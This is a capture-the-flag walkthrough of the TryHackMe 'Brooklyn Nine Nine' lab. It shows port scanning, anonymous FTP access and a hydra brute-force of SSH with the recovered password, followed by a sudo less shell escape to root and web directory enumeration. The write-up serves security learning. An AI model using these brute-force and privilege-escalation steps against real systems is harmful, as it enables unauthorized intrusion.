# Brooklyn Nine Nine

**Room Link:** [https://tryhackme.com/room/brooklynninenine](https://tryhackme.com/room/brooklynninenine)



### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F6BrXH2TSWi93H3EDRAdz%2Fimage.png?alt=media&#x26;token=0af642ab-509e-4419-b7a2-553f8e13ed22" alt=""><figcaption></figcaption></figure>

### Scan all ports

No other ports found.

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fpk6JpeYQ2hfDKlAbYJe0%2Fimage.png?alt=media&#x26;token=35fb2650-4d7c-40a1-a3c1-0ede8d53b332" alt=""><figcaption></figcaption></figure>

### TCP/21 - FTP

anonymous login worked

**Kali**

```
ftp $VICTIM
Username: anonymous
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FjixWJsnWIIMxNf4Ij4dK%2Fimage.png?alt=media&#x26;token=735b85dd-377a-4873-a0b5-f10e0ac5def8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FQZ5dl1lb7qq1y7Cag4L0%2Fimage.png?alt=media&#x26;token=e9aa7bb6-b249-43d3-bf28-69cfddc1dddf" alt=""><figcaption></figcaption></figure>

### TCP/22 - SSH

**Kali**

```
hydra -l jake -P /usr/share/wordlists/rockyou.txt ssh://$VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FWP7k3MfSC3CfIWNEw7ly%2Fimage.png?alt=media&#x26;token=25005d85-d930-4d58-a8a9-233a6308b67b" alt=""><figcaption></figcaption></figure>

**Kali**

```
ssh jake@$VICTIM
Password: 987654321
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FSR28T5sOlsqhCfksQnlm%2Fimage.png?alt=media&#x26;token=1e0511a2-4c5d-4d48-80af-ebeb862d8f6f" alt=""><figcaption></figcaption></figure>

## **Privlege Escalation**

**Victim**

```
sudo less /etc/profile
!/bin/sh
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FTd7vafzCOIhkze3xllk5%2Fimage.png?alt=media&#x26;token=35c856ee-41a7-4f0b-b880-f8bf17b42334" alt=""><figcaption></figcaption></figure>

### TCP/80 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```



<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FnWHu9SBJ9k5iVKW5Gr8M%2Fimage.png?alt=media&#x26;token=a495e957-1476-446f-9f2e-b11abda6e093" alt=""><figcaption></figcaption></figure>





<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F2ai66lwMGIRSa0UJ7B81%2Fimage.png?alt=media&#x26;token=d330a531-f34d-472b-bc07-c7cf2002aa11" alt=""><figcaption></figcaption></figure>



<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F5AZYdRwZOtcaU4bPel2r%2Fimage.png?alt=media&#x26;token=6385771f-dc73-467e-be37-52fb3ac22044" alt=""><figcaption></figcaption></figure>

I tried to see if I could get any more info from the image but I never did.

**Kali**

```
exiftool brooklyn99.jpg 
steghide info brooklyn99.jpg
```



